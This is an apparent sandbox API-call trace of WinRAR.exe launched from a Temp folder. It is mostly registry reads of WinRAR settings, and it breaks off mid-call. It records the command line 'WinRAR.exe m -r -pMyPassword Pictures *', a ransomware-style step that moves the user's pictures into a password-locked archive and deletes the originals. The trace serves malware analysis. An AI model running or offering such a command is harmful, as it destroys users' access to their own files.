[0060.665] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.666] GetLastError () returned 0x5b0 [0060.666] SetLastError (dwErrCode=0x5b0) [0060.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.666] RegQueryValueExW (in: hKey=0x2f0, lpValueName="WaitForOther", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.666] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.666] GetLastError () returned 0x5b0 [0060.666] SetLastError (dwErrCode=0x5b0) [0060.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.666] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Shutdown", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.666] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.666] GetLastError () returned 0x5b0 [0060.666] SetLastError (dwErrCode=0x5b0) [0060.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.666] RegQueryValueExW (in: hKey=0x2f0, lpValueName="GenerateArcName", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.666] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.666] GetLastError () returned 0x5b0 [0060.666] SetLastError (dwErrCode=0x5b0) [0060.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.666] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VersionControl", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.666] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.666] GetLastError () returned 0x5b0 [0060.666] SetLastError (dwErrCode=0x5b0) [0060.666] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.666] RegQueryValueExW (in: hKey=0x2f0, lpValueName="BLAKE2", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.666] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.666] GetLastError () returned 0x5b0 [0060.667] SetLastError (dwErrCode=0x5b0) [0060.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.667] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileCopies", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.667] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.667] GetLastError () returned 0x5b0 [0060.667] SetLastError (dwErrCode=0x5b0) [0060.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.667] RegQueryValueExW (in: hKey=0x2f0, lpValueName="QuickOpen", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x1, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.667] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.667] GetLastError () returned 0x5b0 [0060.667] SetLastError (dwErrCode=0x5b0) [0060.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.667] RegQueryValueExW (in: hKey=0x2f0, lpValueName="GenerateMask", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x7ff6f762a81a, lpcbData=0xf00f8f9a10*=0x100 | out: lpType=0xf00f8f9a14*=0x1, lpData="yyyymmddhhmmss", lpcbData=0xf00f8f9a10*=0x1e) returned 0x0 [0060.667] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.667] GetLastError () returned 0x5b0 [0060.667] SetLastError (dwErrCode=0x5b0) [0060.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.667] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileTimeMode", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.667] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.667] GetLastError () returned 0x5b0 [0060.667] SetLastError (dwErrCode=0x5b0) [0060.667] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.667] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileDays", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.667] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.667] GetLastError () returned 0x5b0 [0060.668] SetLastError (dwErrCode=0x5b0) [0060.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.668] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileHours", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.668] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.668] GetLastError () returned 0x5b0 [0060.668] SetLastError (dwErrCode=0x5b0) [0060.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.668] RegQueryValueExW (in: hKey=0x2f0, lpValueName="FileMinutes", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.668] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.668] GetLastError () returned 0x5b0 [0060.668] SetLastError (dwErrCode=0x5b0) [0060.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.668] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcTimeOriginal", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.668] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.668] GetLastError () returned 0x5b0 [0060.668] SetLastError (dwErrCode=0x5b0) [0060.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.668] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcTimeLatest", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.668] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.668] GetLastError () returned 0x5b0 [0060.668] SetLastError (dwErrCode=0x5b0) [0060.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.668] RegQueryValueExW (in: hKey=0x2f0, lpValueName="mtime", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x4, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.668] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.668] GetLastError () returned 0x5b0 [0060.669] SetLastError (dwErrCode=0x5b0) [0060.669] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.669] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ctime", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.669] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.669] GetLastError () returned 0x5b0 [0060.669] SetLastError (dwErrCode=0x5b0) [0060.669] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.669] RegQueryValueExW (in: hKey=0x2f0, lpValueName="atime", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.669] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.669] GetLastError () returned 0x5b0 [0060.669] SetLastError (dwErrCode=0x5b0) [0060.669] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.669] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsAbs", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.669] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.669] GetLastError () returned 0x5b0 [0060.669] SetLastError (dwErrCode=0x5b0) [0060.669] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.669] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsNone", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.669] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.669] GetLastError () returned 0x5b0 [0060.669] SetLastError (dwErrCode=0x5b0) [0060.669] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.669] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PathsAbsDrive", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.669] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.669] GetLastError () returned 0x5b0 [0060.669] SetLastError (dwErrCode=0x5b0) [0060.669] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.669] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ImmExec", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.670] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.670] GetLastError () returned 0x5b0 [0060.670] SetLastError (dwErrCode=0x5b0) [0060.670] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.670] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArc", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.670] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.670] GetLastError () returned 0x5b0 [0060.670] SetLastError (dwErrCode=0x5b0) [0060.670] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.670] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArcDoubleExt", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.670] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.670] GetLastError () returned 0x5b0 [0060.670] SetLastError (dwErrCode=0x5b0) [0060.670] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9e40 | out: phkResult=0xf00f8f9e40*=0x2f0) returned 0x0 [0060.670] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SeparateArcSubfolders", lpReserved=0x0, lpType=0xf00f8fa2a4, lpData=0xf00f8fa2a0, lpcbData=0xf00f8fa2d8*=0x4 | out: lpType=0xf00f8fa2a4*=0x4, lpData=0xf00f8fa2a0*=0x0, lpcbData=0xf00f8fa2d8*=0x4) returned 0x0 [0060.670] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.670] GetLastError () returned 0x5b0 [0060.670] SetLastError (dwErrCode=0x5b0) [0060.670] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.670] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EmailArcTo", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0x7ff6f762aa34, lpcbData=0xf00f8f9a10*=0x1000 | out: lpType=0xf00f8f9a14*=0x1, lpData="", lpcbData=0xf00f8f9a10*=0x2) returned 0x0 [0060.670] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.670] GetLastError () returned 0x5b0 [0060.670] SetLastError (dwErrCode=0x5b0) [0060.670] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f95b0 | out: phkResult=0xf00f8f95b0*=0x2f0) returned 0x0 [0060.670] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PackDetails", lpReserved=0x0, lpType=0xf00f8f9a14, lpData=0xf00f8fa300, lpcbData=0xf00f8f9a10*=0xc0 | out: lpType=0xf00f8f9a14*=0x3, lpData=0xf00f8fa300*, lpcbData=0xf00f8f9a10*=0xc0) returned 0x0 [0060.670] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.670] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0060.670] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x60) returned 0x28b08462bf0 [0060.671] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08462bf0 | out: hHeap=0x28b08430000) returned 1 [0060.671] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa) returned 0x28b084eddc0 [0060.671] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084eddc0 | out: hHeap=0x28b08430000) returned 1 [0060.671] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa) returned 0x28b084edda0 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.671] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edda0 | out: hHeap=0x28b08430000) returned 1 [0060.671] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1e) returned 0x28b084ec860 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.671] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec860 | out: hHeap=0x28b08430000) returned 1 [0060.671] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x16) returned 0x28b084eda80 [0060.671] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084eda80 | out: hHeap=0x28b08430000) returned 1 [0060.671] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8) returned 0x28b08445b30 [0060.671] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08445b30 | out: hHeap=0x28b08430000) returned 1 [0060.671] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0xf00f8fe9c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0060.671] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0060.671] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x60) returned 0x28b08463520 [0060.671] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08463520 | out: hHeap=0x28b08430000) returned 1 [0060.671] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa) returned 0x28b084ee140 [0060.671] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ee140 | out: hHeap=0x28b08430000) returned 1 [0060.671] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa) returned 0x28b084edb60 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iicon", cchCount2=5) returned 3 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iimg", cchCount2=4) returned 3 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="iadm", cchCount2=4) returned 3 [0060.671] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="an=", cchCount2=3) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="anf=", cchCount2=4) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="setup_integration", cchCount2=17) returned 1 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="elevate", cchCount2=7) returned 3 [0060.672] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edb60 | out: hHeap=0x28b08430000) returned 1 [0060.672] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1e) returned 0x28b084ec710 [0060.672] GetLastError () returned 0x5b0 [0060.672] SetLastError (dwErrCode=0x5b0) [0060.672] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8f5eb0 | out: phkResult=0xf00f8f5eb0*=0x0) returned 0x2 [0060.672] GetLastError () returned 0x5b0 [0060.672] SetLastError (dwErrCode=0x5b0) [0060.672] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f6680 | out: phkResult=0xf00f8f6680*=0x0) returned 0x2 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="sfx", cchCount2=-1) returned 1 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="ibck", cchCount2=-1) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="iext", cchCount2=-1) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=5, lpString2="iicon", cchCount2=5) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iimg", cchCount2=4) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="iadm", cchCount2=4) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="cp", cchCount2=2) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="af", cchCount2=2) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=3, lpString2="an=", cchCount2=3) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=4, lpString2="anf=", cchCount2=4) returned 3 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=12, lpString2="setup_integration", cchCount2=17) returned 1 [0060.672] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=7, lpString2="elevate", cchCount2=7) returned 3 [0060.672] GetSystemDirectoryW (in: lpBuffer=0xf00f8f6bd0, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0060.672] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\Crypt32.dll") returned 0x7ff92e880000 [0060.677] GetProcAddress (hModule=0x7ff92e880000, lpProcName="CryptProtectMemory") returned 0x7ff92d8c1770 [0060.867] GetProcAddress (hModule=0x7ff92e880000, lpProcName="CryptUnprotectMemory") returned 0x7ff92d8c17a0 [0060.867] CryptProtectMemory (in: pDataIn=0x7ff6f7629670, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x7ff6f7629670) returned 1 [0060.869] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec710 | out: hHeap=0x28b08430000) returned 1 [0060.869] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x16) returned 0x28b084edce0 [0060.869] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edce0 | out: hHeap=0x28b08430000) returned 1 [0060.869] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8) returned 0x28b08445b40 [0060.869] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x40) returned 0x28b0845d5e0 [0060.869] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08445b40 | out: hHeap=0x28b08430000) returned 1 [0060.869] GetFileAttributesW (lpFileName="Pictures" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures")) returned 0xffffffff [0060.870] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0xf00f8f8590 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures") returned 0x18 [0060.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Pictures\\Pictures" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures")) returned 0xffffffff [0060.870] GetFileAttributesW (lpFileName="Pictures.rar" (normalized: "c:\\users\\fd1hvy\\pictures\\pictures.rar")) returned 0xffffffff [0060.870] GetCurrentDirectoryW 